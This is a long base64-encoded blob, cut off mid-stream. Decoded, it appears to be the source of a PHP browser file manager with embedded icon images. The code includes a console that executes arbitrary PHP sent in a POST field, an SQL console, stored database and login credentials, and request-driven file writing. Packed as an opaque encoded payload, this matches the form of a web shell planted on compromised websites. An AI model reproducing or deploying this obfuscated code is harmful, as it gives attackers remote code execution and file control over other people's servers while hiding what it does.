Qyt6R29BN0JvQnQvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVi9OdytINDhQRVdoa0xuWjJlWGs1TmhLeEVKYlljcFhmZjVud2wvQVYvMXMrWDQ4L1BmMTRMN2lKSUV5WFlGSEJQamd3c3owVEtVY3o1SUpoR0xjNW85SC9MY0wvL3dkMHlMRVNXSzVXQ29VNDFFU2NZNUVtb3p6TXFVaWlVS1NLY1VsMHY5azR0OHMrd00rM3pVQXNHbytBWHVSTGFoZFl3UDJTeWNRV0hUQTR2Y0FBUEs3YjhIVUtBZ0RnR2lENGM5My8rOC8vVWVnSlFDQVprbVNjUUFBWGtRa0xsVEtzei9IQ0FBQVJLQ0JLckJCRy9UQkdDekFCaHpCQmR6QkMveGdOb1JDSk1UQ1FoQkNDbVNBSEhKZ0theUNRaWlHemJBZEttQXYxRUFkTk1CUmFJYVRjQTR1d2xXNERqMXdEL3BoQ0o3QktMeUJDUVJCeUFnVFlTSGFpQUZpaWxnampnZ1htWVg0SWNGSUJCS0xKQ0RKaUJSUklrdVJOVWd4VW9wVUlGVklIZkk5Y2dJNWgxeEd1cEU3eUFBeWd2eUd2RWN4bElHeVVUM1VETFZEdWFnM0dvUkdvZ3ZRWkhReG1vOFdvSnZRY3JRYVBZdzJvZWZRcTJnUDJvOCtROGN3d09nWUJ6UEViREF1eHNOQ3NUZ3NDWk5qeTdFaXJBeXJ4aHF3VnF3RHU0bjFZOCt4ZHdRU2dVWEFDVFlFZDBJZ1lSNUJTRmhNV0U3WVNLZ2dIQ1EwRWRvSk53a0RoRkhDSnlLVHFFdTBKcm9SK2NRWVlqSXhoMWhJTENQV0VvOFRMeEI3aUVQRU55UVNpVU15SjdtUUFrbXhwRlRTRXRKRzBtNVNJK2tzcVpzMFNCb2prOG5hWkd1eUJ6bVVMQ0FyeUlYa25lVEQ1RFBrRytRaDhsc0tuV0pBY2FUNFUrSW9Vc3BxU2hubEVPVTA1UVpsbURKQlZhT2FVdDJvb1ZRUk5ZOWFRcTJodGxLdlVZZW9FelIxbWpuTmd4WkpTNld0b3BYVEdtZ1hhUGRwcitoMHVoSGRsUjVPbDlCWDBzdnBSK2lYNkFQMGR3d05oaFdEeDRobktCbWJHQWNZWnhsM0dLK1lUS1laMDRzWngxUXdOekhybU9lWkQ1bHZWVmdxdGlwOEZaSEtDcFZLbFNhVkd5b3ZWS21xcHFyZXFndFY4MVhMVkkrcFhsTjlya1pWTTFQanFRblVscXRWcXAxUTYxTWJVMmVwTzZpSHFtZW9iMVEvcEg1Wi9Za0dXY05NdzA5RHBGR2dzVi9qdk1ZZ0MyTVpzM2dzSVdzTnE0WjFnVFhFSnJITjJYeDJLcnVZL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0L09CWjNuVTlsVDNhY0tweFpOUFRyMXJpNnFhNlVib2J0RWQ3OXVwKzZZbnI1ZWdKNU1iNmZlZWIzbitoeDlMLzFVL1czNnAvVkhERmdHc3d3a0J0c016aGc4eFRWeGJ6d2RMOGZiOFZGRFhjTkFRNlZobFdHWDRZU1J1ZEU4bzlWR2pVWVBqR25HWE9NazQyM0diY2FqSmdZbUlTWkxUZXBON3BwU1RibW1LYVk3VER0TXg4M016YUxOMXBrMW16MHgxekxubStlYjE1dmZ0MkJhZUZvc3RxaTJ1R1ZKc3VSYXBsbnV0cnh1aFZvNVdhVllWVnBkczBhdG5hMGwxcnV0dTZjUnA3bE9rMDZybnRabnc3RHh0c20ycWJjWnNPWFlCdHV1dG0yMmZXRm5ZaGRudDhXdXcrNlR2Wk45dW4yTi9UMEhEWWZaRHFzZFdoMStjN1J5RkRwV090NmF6cHp1UDMzRjlKYnBMMmRZenhEUDJEUGp0aFBMS2NScG5WT2IwMGRuRjJlNWM0UHppSXVKUzRMTExwYytMcHNieHQzSXZlUktkUFZ4WGVGNjB2V2RtN09id3UybzI2L3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFL0M1K1ZNR3Zmckg1UFEwK0JaN1huSXk5akw1RlhyZGV3dDZWM3F2ZGg3eGMrOWo1eW4rTSs0enczM2pMZVdWL01OOEMzeUxmTFQ4TnZubCtGMzBOL0kvOWsvM3IvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dC84N2ZPSDRwM2lDK043RjVndnlGMXdlYUhPd3ZTRnB4YXBMaElzT3BaQVRJaE9PSlR3UVJBcXFCYU1KZklUZHlXT0NubkNIY0puSWkvUk50R0kyRU5jS2g1TzhrZ3FUWHFTN0pHOE5Ya2t4VE9sTE9XNWhDZXBrTHhNRFV6ZG16cWVGcHAySUcweVBUcTlNWU9Ta1pCeFFxb2hUWk8yWitwbjVtWjJ5NnhsaGJMK3hXNkx0eThlbFFmSmE3T1FyQVZaTFFxMlFxYm9WRm9vMXlvSHNtZGxWMmEvelluS09aYXJuaXZON2N5enl0dVFONXp2bi8vdEVzSVM0WksycFlaTFZ5MGRXT2E5ckdvNXNqeHhlZHNLNHhVRks0WldCcXc4dUlxMkttM1ZUNnZ0VjVldWZyMG1lazFyZ1Y3QnlvTEJ0UUZyNnd0VkN1V0ZmZXZjMSsxZFQxZ3ZXZCsxWWZxR25ScytGWW1LcmhUYkY1Y1ZmOWdvM0hqbEc0ZHZ5citaM0pTMHFhdkV1V1RQWnRKbTZlYmVMWjViRHBhcWwrYVhEbTROMmRxMERkOVd0TzMxOWtYYkw1Zk5LTnU3ZzdaRHVhTy9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozL1Q3SnZ0dFZBVlZOMVdiVlpmdEorN1AzUDY2SnF1bjRsdnR0WGExT2JYSHR4d1BTQS8wSEl3NjIxN25VMVIzU1BWUlNqOVlyNjBjT3h4KysvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKMy9jZURUcmFkb3g3ck9FSDB4OTJIV2NkTDJwQ212S2FScHRUbXZ0YllsdTZUOHcrMGRicTNucjhSOXNmRDV3MFBGbDVTdk5VeVduYTZZTFRrMmZ5ejR5ZGxaMTlmaTc1M0dEYm9yWjc1MlBPMzJvUGIrKzZFSFRoMGtYL2krYzd2RHZPWFBLNGRQS3kyK1VUVjdoWG1xODZYMjNxZE9vOC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmIvMXRXZU9UM2R2Zk42Yi9mRjkvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1IvY0doWVBQL3BIMWp3OURCWStaajh1R0RZYnJuamcrT1RuaVAzTDk2ZnluUTg5a3p5YWVGLzZpL3N1dUZ4WXZmdmpWNjlmTzBaalJvWmZ5bDVPL2JYeWwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG8vMmo1c2ZWVDBLZjdreG1Uay84RUE1anovR016TGRzQUFBQUdZa3RIUkFEL0FQOEEvNkM5cDVNQUFBQUpjRWhaY3dBQUN4TUFBQXNUQVFDYW5CZ0FBQUFIZEVsTlJRZmNDQXdHTVRnNVhFRVRBQUFCOGtsRVFWUTR5M1dTTVcvVFFCaUduKys3c3gzWGRkTUFJbTBua0NvaFJRaUpEU0V4ZEFsL0FURXdJUEV6a0ZpWVlHUmx5TXlHeE1MRXhGaEJ5eTlBQ0FhYTBnWW5Eb2w5eDlEWWlWczQ2ZFBuay93Kzk5NzNuZ0RKL3Y3Kyt5QUlDaitmSTBIQS81WnpEdTg5emptT2pvNnlmci8vd0FKQnI5ZTdHNFloeFdTQ1JGSDkwMnFWWmRuWXgzRjhESVFXSU1zeTFwSUVYeFNvTWZWSjUwRmVES1VyY0djd0FWQ0FORTFwdFZxb0txcUtNYWIrcnZaaHZNYm4xeS93ZzZkSXRJYUlBR0FCVGs1T1NKSUU5UjRBRVVGVmNjN1ZQZjkyd1BidGxIejNDUnQranFwU08yaTMyOFJ4WE50ZWhZZ0lwclhPK09OenJsMytndEVBRVcwQ2hzTWhXWlkxN2w1RGpPWDAweHV1N296NUVUM2tVbWVqQnRlQVRxZERITWV3RUs5Q1BEQS9mTVZzNnhhYjIzdG5JdjJIZy9GNDNKeTQ5NGdOR0g1NFNmZkdCcWZyajBsYVMzSERRWnFtaEdHSVc4Uld4ZmZuK0R2MjUxdCt0ZS9SM2VuaEVVU1dWUU5Hb3hGNW51Tlh4S0tHcndmdkNIYnY0Szg4d21pSjZuS3dqUmlqS01JWVF6bWZJNHZvUklRaTN1WjM5ejVibTUwemFIWHE0djQxWURxZGdnaFNsb2h6QU15bU9kZHY3bUdNVUpabEk5WnF3RTBIcW9pMUYxNWhKVnJ0Q3hlK0FrZ1loZ1RXSXNaZ29nZ1J3VnA3WVdDcnl4aWpGV0F5R0F5ZUlWS29jeUxXMW8rbzZ1Y0w4SG1lejREeFgrOGRBTEc3TWVWVUFBQUFBRWxGVGtTdVFtQ0MiKTsNCn0NCjw/PWZtX2hvbWVfc3R5bGUoKT8+DQouaW1nIHsNCgliYWNrZ3JvdW5kLWltYWdlOiANCnVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWRGUVRGUkY3ZTN0L2YzOXBKK2YrY0phalY4cTZlbnBrR0ltL3NGTy8rMk8zOTNjNXVibS9zeGJkMjl5aW1kbmVGZzY1T1RrMnpvWTZ1SGkxekFTMWNySnNIczJueWdvM05yYjJMQlhyWXRtMnA1QS8raFhwb1JxcEtPa3dyaTQ2K3ZyME1HMzZZc3o2dWpwbUk2QW56VXl3TCsvbVhWU21JQk44Ynd3ajFWQnlMR3phMVpKME5EUWpZU0IvOU5qd1o2Q3dVQXN4azBiclp5V3c3cG1HWjRBNkx0ZGtIZGYvK044eW93MjdiNVc4N1JOTFpMLzJiaVA3d0FBLy9HSmw1ZVg0TmZZc2FhTGdwNmgxYit0Lys2UjY4RmU4OXljaW1aZC91UXYzcjlOdXBDQjk5VjI1YTFjVkpiYm5IaE8vOHhTK01CYThmRHdpMkppNDhxaS8rcU9kVkl6czM0eC8vR09YSXpZcDVTUC9zeGdxcGlJY3ArL3NpUXBjbXBzdGF5c3pTQU51S0tUOVBUMDR1TGl3SWt5OExkRStzVld2cWFtOGUvdkw1SVorcmxIOGNOZzA4Q2N6N2FkOHZMeTlMdFUxcXlVdVo0K3I1MTIrOHMvd1VwTDNkM2R4N1cxZkdOYS84OVoyY2ZIK3M1bjZPam9iMVl0czdLejE5Zlh3SWc0cDFkTitQajR6TFIwKzhwZDdzdHJoS0FzLzloai85QlYxS3RmdExTMW5wMmRZbEpTWkZWVjVMUldoRUZCNXJoWi85SnEwSHRULy9DU2tJcUo2SzVEK0xOTmJsVlZ2ak0wNDdaTXo3ZTMxeEVHLy8vL3RLZ3U2d0FBQUp0MFVrNVQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vd0NWVnBLWUFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBTlpKUkVGVUtGTmptS1dpUFFzWk1NeGltc3FQS3BBYjJNc0FaTmpMT3dremdnVm1KWW55cHMvUUU1OWVLQ0V0QmhhWUZSZmpadVRoSDI3bFk2a3FCeFlvclMvT01DNXdpSFprbDJRQ0NWVGtOK3RydEZqNFpTcE1tYXdERkJEMGxDb3luelpCbDFuSUpqNTVFbEJBMDlwZHZjOWJ1VDFTWUtZQld3MVFJQzBvTllzanJGSEpwU2t2UllzQktDQ2JNOUhMTjl0V3JicW5qVVVHWkcxQWhHdUlYWlJ6cFFsM2FHd0QyQjJjWloyekVvTDdXK3U2cXlBdW5aWElPTXZRckZ5a3F3VGlGekJRTk9YajRRS3pvQUt6YWp0WUlRd0FsdnRwbDNWNWM4TUFBQUFBU1VWT1JLNUNZSUk9Iik7DQp9DQpAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjcyMHB4KXsNCiAgdGFibGV7ZGlzcGxheTpibG9jazt9DQogICAgI2ZtX3RhYmxlIHRke2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQ0KICAgICNmbV90YWJsZSB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQogICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybisxKXtiYWNrZ3JvdW5kLWNvbG9yOiNFRkVGRUY7fQ0KICAgICNmbV90YWJsZSB0Ym9keSB0cjpudGgtY2hpbGQoMm4pe2JhY2tncm91bmQtY29sb3I6I0RFRTNFNzt9DQogICAgI2ZtX3RhYmxlIHRye2Rpc3BsYXk6YmxvY2s7ZmxvYXQ6bGVmdDtjbGVhcjpsZWZ0O3dpZHRoOjEwMCU7fQ0KCSNoZWFkZXJfdGFibGUgLnJvdzIsICNoZWFkZXJfdGFibGUgLnJvdzMge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fQ0KCSNoZWFkZXJfdGFibGUgdGFibGUgdGQge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQ0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPD9waHANCiR1cmxfaW5jID0gJz9mbT10cnVlJzsNCmlmIChpc3NldCgkX1BPU1RbJ3NxbHJ1biddKSYmIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9zcWxfY29uc29sZSddKSl7DQoJJHJlcyA9IGVtcHR5KCRfUE9TVFsnc3FsJ10pID8gJycgOiAkX1BPU1RbJ3NxbCddOw0KCSRyZXNfbG5nID0gJ3NxbCc7DQp9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydwaHBydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcGhwX2NvbnNvbGUnXSkpew0KCSRyZXMgPSBlbXB0eSgkX1BPU1RbJ3BocCddKSA/ICcnIDogJF9QT1NUWydwaHAnXTsNCgkkcmVzX2xuZyA9ICdwaHAnOw0KfSANCmlmIChpc3NldCgkX0dFVFsnZm1fc2V0dGluZ3MnXSkpIHsNCgllY2hvICcgDQo8dGFibGUgY2xhc3M9Indob2xlIj4NCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLl9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnU2V0dGluZ3MnKS4nPC90aD48L3RyPg0KJy4oZW1wdHkoJG1zZyk/Jyc6Jzx0cj48dGQgY2xhc3M9InJvdzIiIGNvbHNwYW49IjIiPicuJG1zZy4nPC90ZD48L3RyPicpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdyBzaXplIG9mIHRoZSBmb2xkZXInKSwnc2hvd19kaXJfc2l6ZScpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygncGljdHVyZXMnKSwnc2hvd19pbWcnKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ01ha2UgZGlyZWN0b3J5JyksJ21ha2VfZGlyZWN0b3J5JykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdOZXcgZmlsZScpLCduZXdfZmlsZScpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnVXBsb2FkJyksJ3VwbG9hZF9maWxlJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgdmVyc2lvbicsJ3Nob3dfcGhwX3ZlcicpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQIGluaScsJ3Nob3dfcGhwX2luaScpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnR2VuZXJhdGlvbiB0aW1lJyksJ3Nob3dfZ3QnKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIHhscycsJ3Nob3dfeGxzJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgJy5fXygnQ29uc29sZScpLCdlbmFibGVfcGhwX2NvbnNvbGUnKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFNRTCAnLl9fKCdDb25zb2xlJyksJ2VuYWJsZV9zcWxfY29uc29sZScpLicNCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3NlcnZlcl0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9zZXJ2ZXInXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHNlcnZlcjwvdGQ+PC90cj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3VzZXJuYW1lXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCB1c2VyPC90ZD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfcGFzc3dvcmRdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHBhc3N3b3JkPC90ZD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfZGJdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfZGInXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIERCPC90ZD48L3RyPg0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQcm94eScsJ2VuYWJsZV9wcm94eScpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgcGhwaW5mbygpJywnc2hvd19waHBpbmZvJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdTZXR0aW5ncycpLCdmbV9zZXR0aW5ncycpLicNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZycpLCdyZXN0b3JlX3RpbWUnKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ0ZpbGUgbWFuYWdlcicpLic6ICcuX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwnZm1fcmVzdG9yZV90aW1lJykuJw0KPHRyPjx0ZCBjbGFzcz0icm93MyI+PGEgaHJlZj0iJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUmZm1fY29uZmlnX2RlbGV0ZT10cnVlIj4nLl9fKCdSZXNldCBzZXR0aW5ncycpLic8L2E+PC90ZD48dGQgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgbmFtZT0iZm1fY29uZmlnW2ZtX3NldF9zdWJtaXRdIj48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KPHRhYmxlPg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ1NldHRpbmdzJykuJyAtICcuX18oJ0F1dGhvcml6YXRpb24nKS4nPC90aD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2F1dGhvcml6ZV0iIHZhbHVlPSIxIiAnLigkYXV0aFsnYXV0aG9yaXplJ10/J2NoZWNrZWQnOicnKS4nIHR5cGU9ImNoZWNrYm94IiBpZD0iYXV0aCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjxsYWJlbCBmb3I9ImF1dGgiPicuX18oJ0F1dGhvcml6YXRpb24nKS4nPC9sYWJlbD48L3RkPjwvdHI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bbG9naW5dIiB2YWx1ZT0iJy4kYXV0aFsnbG9naW4nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnTG9naW4nKS4nPC90ZD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW3Bhc3N3b3JkXSIgdmFsdWU9IicuJGF1dGhbJ3Bhc3N3b3JkJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1Bhc3N3b3JkJykuJzwvdGQ+PC90cj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltjb29raWVfbmFtZV0iIHZhbHVlPSInLiRhdXRoWydjb29raWVfbmFtZSddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdDb29raWUnKS4nPC90ZD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2RheXNfYXV0aG9yaXphdGlvbl0iIHZhbHVlPSInLiRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnRGF5cycpLic8L3RkPjwvdHI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48dGV4dGFyZWEgbmFtZT0iZm1fbG9naW5bc2NyaXB0XSIgY29scz0iMzUiIHJvd3M9IjciIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCIgaWQ9ImF1dGhfc2NyaXB0Ij4nLiRhdXRoWydzY3JpcHQnXS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnU2NyaXB0JykuJzwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ+PC90cj4NCjwvZm9ybT4NCjwvdGFibGU+JzsNCmVjaG8gZm1fdHBsX2Zvcm0oJ3BocCcpLGZtX3RwbF9mb3JtKCdzcWwnKTsNCn0gZWxzZWlmIChpc3NldCgkcHJveHlfZm9ybSkpIHsNCglkaWUoJHByb3h5X2Zvcm0pOw0KfSBlbHNlaWYgKGlzc2V0KCRyZXNfbG5nKSkgewkNCj8+DQo8dGFibGUgY2xhc3M9Indob2xlIj4NCjx0cj4NCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzIiPjx0YWJsZT48dHI+PHRkPjxoMj48Pz1zdHJ0b3VwcGVyKCRyZXNfbG5nKT8+IDw/PV9fKCdDb25zb2xlJyk/Pjw/cGhwDQoJaWYoJHJlc19sbmc9PSdzcWwnKSBlY2hvICcgLSBEYXRhYmFzZTogJy4kZm1fY29uZmlnWydzcWxfZGInXS4nPC9oMj48L3RkPjx0ZD4nLmZtX3J1bl9pbnB1dCgncGhwJyk7DQoJZWxzZSBlY2hvICc8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdzcWwnKTsNCgk/PjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+DQo8L3RyPg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoJCTxhIGhyZWY9Ijw/PSR1cmxfaW5jLicmcGF0aD0nIC4gJHBhdGg7Pz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4NCgkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCIgbmFtZT0iY29uc29sZSI+DQoJCTx0ZXh0YXJlYSBuYW1lPSI8Pz0kcmVzX2xuZz8+IiBjb2xzPSI4MCIgcm93cz0iMTAiIHN0eWxlPSJ3aWR0aDogOTAlIj48Pz0kcmVzPz48L3RleHRhcmVhPjxici8+DQoJCTxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9Ijw/PV9fKCdSZXNldCcpPz4iPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iIG5hbWU9Ijw/PSRyZXNfbG5nPz5ydW4iPg0KPD9waHANCiRzdHJfdG1wbCA9ICRyZXNfbG5nLidfdGVtcGxhdGVzJzsNCiR0bXBsID0gIWVtcHR5KCQkc3RyX3RtcGwpID8ganNvbl9kZWNvZGUoJCRzdHJfdG1wbCx0cnVlKSA6ICcnOw0KaWYgKCFlbXB0eSgkdG1wbCkpew0KCSRhY3RpdmUgPSBpc3NldCgkX1BPU1RbJHJlc19sbmcuJ190cGwnXSkgPyAkX1BPU1RbJHJlc19sbmcuJ190cGwnXSA6ICcnOw0KCSRzZWxlY3QgPSAnPHNlbGVjdCBuYW1lPSInLiRyZXNfbG5nLidfdHBsIiB0aXRsZT0iJy5fXygnVGVtcGxhdGUnKS4nIiBvbmNoYW5nZT0iaWYgKHRoaXMudmFsdWUhPS0xKSBkb2N1bWVudC5mb3Jtc1tcJ2NvbnNvbGVcJ10uZWxlbWVudHNbXCcnLiRyZXNfbG5nLidcJ10udmFsdWUgPSB0aGlzLm9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWU7IGVsc2UgZG9jdW1lbnQuZm9ybXNbXCdjb25zb2xlXCddLmVsZW1lbnRzW1wnJy4kcmVzX2xuZy4nXCddLnZhbHVlID1cJ1wnOyIgPicuIlxuIjsNCgkkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPSItMSI+JyAuIF9fKCdTZWxlY3QnKSAuICI8L29wdGlvbj5cbiI7DQoJZm9yZWFjaCAoJHRtcGwgYXMgJGtleT0+JHZhbHVlKXsNCgkJJHNlbGVjdC49JzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCghZW1wdHkoJHZhbHVlKSYmKCR2YWx1ZT09JGFjdGl2ZSkpPydzZWxlY3RlZCc6JycpLicgPicuX18oJGtleSkuIjwvb3B0aW9uPlxuIjsNCgl9DQoJJHNlbGVjdCAuPSAiPC9zZWxlY3Q+XG4iOw0KCWVjaG8gJHNlbGVjdDsNCn0NCj8+DQoJCTwvZm9ybT4NCgk8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8P3BocA0KCWlmICghZW1wdHkoJHJlcykpIHsNCgkJJGZ1bj0nZm1fJy4kcmVzX2xuZzsNCgkJZWNobyAnPGgzPicuc3RydG91cHBlcigkcmVzX2xuZykuJyAnLl9fKCdSZXN1bHQnKS4nPC9oMz48cHJlPicuJGZ1bigkcmVzKS4nPC9wcmU+JzsNCgl9DQp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsnZWRpdCddKSl7DQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgew0KCQkkZm4gPSAkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddOw0KCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKCRmbik7DQoJICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZm4sICRfUkVRVUVTVFsnbmV3Y29udGVudCddKSkgJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7DQoJCWVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQ